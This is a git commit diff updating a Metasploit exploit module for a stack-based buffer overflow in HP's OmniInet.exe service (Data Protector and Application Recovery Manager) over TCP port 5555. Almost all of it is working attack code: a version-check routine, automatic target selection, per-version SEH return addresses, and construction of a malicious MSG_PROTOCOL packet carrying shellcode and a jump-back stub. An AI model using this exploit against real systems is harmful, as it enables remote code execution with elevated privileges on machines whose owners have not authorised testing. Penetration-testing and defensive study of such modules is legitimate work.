lots of updates, preparing to split into two modules

git-svn-id: file:///home/svn/framework3/trunk@8076 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-01-06 19:28:19 +00:00
parent a9b1462e9d
commit 4a0051d93a
1 changed files with 161 additions and 30 deletions

View File

@ -14,28 +14,43 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Application Recovery Manager (OmniInet.exe) Buffer Overflow',
'Name' => 'HP OmniInet.exe MSG_PROTOCOL Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in HP Application Recovery
Manager OmniInet daemon. By sending a specially crafted MSG_PROTOCOL packet, a
remote attacker may be able to execute arbitrary code.
This module exploits a stack-based buffer overflow in the Hewlett-Packard
OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)
packet, a remote attacker may be able to execute arbitrary code with elevated
privileges.
This service is installed with HP OpenView Data Protector, HP Application
Recovery Manager and potentially other products. This exploit has been tested
against versions 6.1, 6.0, and 5.50 of Data Protecter.
},
'Author' => 'EgiX <n0b0d13s[at]gmail.com>',
'Author' =>
[
'EgiX <n0b0d13s[at]gmail.com>',
'Fairuzan Roslan <riaf[at]mysec.org>',
'jduck'
],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '60852'],
[ 'OSVDB', '60852' ],
[ 'OSVDB', '61205' ],
[ 'CVE', '2009-3844' ],
[ 'CVE', '2007-2280' ],
[ 'BID', '37250' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ]
[ 'BID', '37396' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-099' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
@ -43,42 +58,158 @@ class Metasploit3 < Msf::Exploit::Remote
'Payload' =>
{
'Space' => 4658,
'BadChars' => '\x00',
'BadChars' => "\x00", # (we don't want \x00\x00)
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x004412ed } ], # OmniInet.exe pop ecx; pop ecx; ret
[ 'Automatic Targeting', { 'auto' => true } ],
# DP Targets
[ 'HP OpenView Storage Data Protector A.05.50: INET, internal build 330',
{
'Ret' => 0x004406cf # p/p/r - OmniInet.exe (v5.50.330.0)
}
],
[ 'HP OpenView Storage Data Protector A.06.00: INET, internal build 331',
{
'Ret' => 0x0044327d # p/p/r - OmniInet.exe (v6.0.331.0)
}
],
# APPRM Targets
[ 'HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81',
{
'Ret' => 0x004280ff # p/p/r - OmniInet.exe (v6.0.81.0)
}
],
[ 'HP Application Recovery Manager software A.06.10: INET, internal build 282',
{
'Ret' => 0x004412ed # p/p/r - OmniInet.exe (v6.0.282.0)
}
]
],
'DefaultTarget' => 0))
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 17 2009'))
register_options([Opt::RPORT(5555)], self.class)
register_options([Opt::RPORT(5555)], self.class)
end
def check
connect
sock.put(rand_text_alpha_upper(64))
resp = sock.get_once(-1,5)
disconnect
if (resp)
resp = resp.unpack('v*').pack('C*')
print_status("Recevied response: " + resp)
# extract version
if (resp =~ /HP Data Protector/)
version = resp.split[3]
elsif (resp =~ /HP OpenView Storage Data Protector/)
version = resp.split[5]
elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
version = resp.split[5]
else
return Exploit::CheckCode::Detected
end
version = version.split('.')
major = version[1].to_i
minor = version[2].to_i
if ((major < 6) or (major == 6 and minor < 11))
return Exploit::CheckCode::Vulnerable
end
if ((major > 6) or (major == 6 and minor >= 11))
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end
def exploit
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
connect
sock.put(rand_text_alpha_upper(64))
resp = sock.get_once(-1,5)
disconnect
if not resp
raise RuntimeError, "No version response returned."
end
resp = resp.unpack('v*').pack('C*')
print_status("Recevied response: " + resp)
self.targets.each do |t|
if (resp =~ /#{t.name}/) then
mytarget = t
break
end
end
if (not mytarget)
raise RuntimeError, "No matching target"
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
end
# separator between arguments
sep = [0x2000].pack('N')
# unicode BOM
pkt = "\xff\xfe"
# MSG_PROTOCOL command
pkt << Rex::Text.to_unicode("267")
# dunno
4.times do
pkt << sep
pkt << rand_text_alpha_upper(2)
end
# culprit string
pkt << sep
# the payload + seh record
pkt << payload.encoded
pkt << generate_seh_record(mytarget.ret)
# jump back
dist = payload_space + 8
pkt << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + dist.to_s).encode_string
# force exception hitting the end of the stack
pkt << rand_text_alphanumeric(1000) * 25
# end marker
pkt << sep
# packet length
buff = [pkt.length].pack('N')
buff << pkt
connect
off = payload_space + 8
sep = "\x00\x00\x20\x00"
buff = "\x00\x00\x12\x67" # packet length
buff << "\xff\xfe\x32\x00\x36\x00\x37\x00" # MSG_PROTOCOL command
buff << sep + rand_text_alpha_upper(2)
buff << sep + rand_text_alpha_upper(2)
buff << sep + rand_text_alpha_upper(2)
buff << sep + rand_text_alpha_upper(2)
buff << sep + payload.encoded + generate_seh_record(target.ret)
# jump back to shellcode
buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
buff << sep
print_status("Sending MSG_PROTOCOL packet")
print_status("Sending MSG_PROTOCOL packet...")
sock.put(buff)
sleep(5)
handler
disconnect
end
end